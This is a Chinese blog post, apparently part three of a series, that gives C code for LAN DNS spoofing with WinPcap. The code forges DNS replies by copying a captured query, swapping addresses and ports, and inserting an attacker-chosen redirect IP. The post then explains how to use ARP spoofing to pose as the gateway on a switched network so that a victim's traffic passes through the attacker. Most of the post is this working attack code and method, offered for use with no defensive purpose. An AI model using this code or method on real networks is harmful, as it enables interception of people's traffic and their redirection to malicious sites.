用winpcap实现局域网DNS欺骗之三(代码部分及深入研究)

      先简要说说代码,这里只有构造DNS回应部分的代码,我还做了网址匹配,也就是说只有别人输入相应的网址才给转向不过出于一些原因就不放上来了。这里的代码只是对所有DNS都转向的代码,你可以自己加完整别的代码。

     随便转载,转载请注明出处http://blog.csdn.net/leotangcw/

    欢迎大家和我交流Email:[email protected]

抓包和分析都要在子线程中进行,这样程序的效率才比较好。

伪造的包的DNS  ID一定要和请求的包的ID一样才可以工作。

........抓包

int packetlen=exprotocol_header->len+16;//从抓到包的长度得到要伪造包的长度
               int questlen=exprotocol_header->len-54;  //问题长度
                     u_int8_t* packet_content;                //要发的包
                        packet_content=(u_int8_t*)malloc((packetlen)*sizeof(u_int8_t));
                        unsigned short IP_len=ntohs(packetlen-14);    //
               unsigned short UDP_len=ntohs(packetlen-34);
                        memcpy(packet_content,expkt_data,exprotocol_header->len);   //拷贝抓的包到发的包里面因为有很多不需要改的地方,其中包括最重要的DNS  ID号
               memcpy(packet_content,expkt_data+6,6);                      //交换MAC地址
               memcpy(packet_content+6,expkt_data,6);
               memcpy(packet_content+16,&IP_len,2);                      //计算的IP数据包长度
               packet_content[18]=0x12;//IP的ID号 随便添
               packet_content[19]=0x34;//IP的ID号 随便添
                        packet_content[20]=0x40;  //不分段
                        packet_content[21]=0x00;   //偏移
                        packet_content[22]=0xf4;   //TTl=244
               packet_content[24]=0x00;//IP效验和先置0以后再算
                        packet_content[25]=0x00;//IIP效验和先置0以后再算
               memcpy(packet_content+26,expkt_data+30,4);//交换IP
               memcpy(packet_content+30,expkt_data+26,4);//交换IP
                        memcpy(packet_content+34,expkt_data+36,2);//交换端口
               memcpy(packet_content+36,expkt_data+34,2);//交换端口
               memcpy(packet_content+38,&UDP_len,2);    //填入计算的UDP数据包长度
                        packet_content[40]=0x00;//UDP效验和添0
                        packet_content[41]=0x00;//UDP效验和添0
                        packet_content[44]=0x81; //无错误标准回复
               packet_content[45]=0x80;  //无错误标准回复
                        packet_content[48]=0x00;  //回答数目1
               packet_content[49]=0x01;  //回答数目1
               packet_content[exprotocol_header->len]=0xc0;   //回答名字
               packet_content[exprotocol_header->len+1]=0x0c;  //回答名字
               packet_content[exprotocol_header->len+2]=0x00;  //类型 A
               packet_content[exprotocol_header->len+3]=0x01;  //类型 A
               packet_content[exprotocol_header->len+4]=0x00;  //类1
               packet_content[exprotocol_header->len+5]=0x01;  //类1
               packet_content[exprotocol_header->len+6]=0x00;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+7]=0x00;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+8]=0x0c;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+9]=0xe8;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+10]=0x00;  //数据长度
               packet_content[exprotocol_header->len+11]=0x04;  //数据长度
               m_exdwAddress1=ntohl(m_exdwAddress);              //对输入的转向IP做网络字节转换
               memcpy(packet_content+exprotocol_header->len+12,&m_exdwAddress1,4); //转向的IP
               USHORT m_ipcheck;
                        u_int16_t* checkbufer;
               checkbufer=(u_int16_t*)malloc(20);
               memcpy(checkbufer,packet_content+14,20);    //把IP头拷入一个区域做计算

               m_ipcheck=checksum(checkbufer,20);              //计算IP校验和
               memcpy(packet_content+24,&m_ipcheck,2);        //添入IP校验和
               pcap_sendpacket(expcap_handle,packet_content,exprotocol_header->len+16);//发包

接下来是深入的讨论如果是在3层交换机上如何做DNS欺骗

三层交换机上只有广播包会发到所有端口,其他包都只会在对应端口之间传送。要让他的DNS查询发到你的机器上来就需要伪装成网关,因为我们是通过网关上网,所以所有外发的包都要过网关。

在这里我们要感谢ARP协议,这是一个数据链路层上的协议,主要作用是用来查询你的局域网上的其他主机的MAC地址,比如我们在ping 的时候就会发出一个ARP查询,比如:我是172.30.52.170,我现在ping 172.30.52.174 -t就会发出一个ARP查询向全网段广播问谁是172.30.52.174啊,请告诉我你的MAC地址,然后我就会得到一个172.30.52.174的回复说xx:xx:xx:xx:xx:xx的MAC对应的是172.30.52.174于是我就可以通过这个MAC和他进行传输了。同时我会把他的MAC和IP的对应关系写入我的机器的缓存(会存在一定时间),ARP请求也会更新缓存,比如上面我ping172.30.52.174他的缓存中也会留下我的IP和MAC对应关系。

而且ARP是后更新的,他和DNS相反,DNS对先到的回答做相应,ARP对后到的消息做缓存更新,于是我们就想出了一个好办法,比如我的MAC是01:02:03:04:05:06首先,我告诉我想欺骗的主机,我是网关,比如我给172.30.52.174的主机发一个ARP查询或应答包说172.30.52.1(网关)对应的MAC是01:02:03:04:05:06,同时告诉网关172.30.52.174的IP对应的MAC是01:02:03:04:05:06于是172.30.52.174把发给网关的包都给了我,同时网关也把给172.30.52.174的包都给了我,我在他们之间做一个包转发,就行了,这样所有的包都通过我了,后面的DNS欺骗就和前面一样了。

由于ARP包构造太简单了,就不详细写了,好了,先写到这里吧,写了一天累了。

你可能感兴趣的:(用winpcap实现局域网DNS欺骗之三(代码部分及深入研究))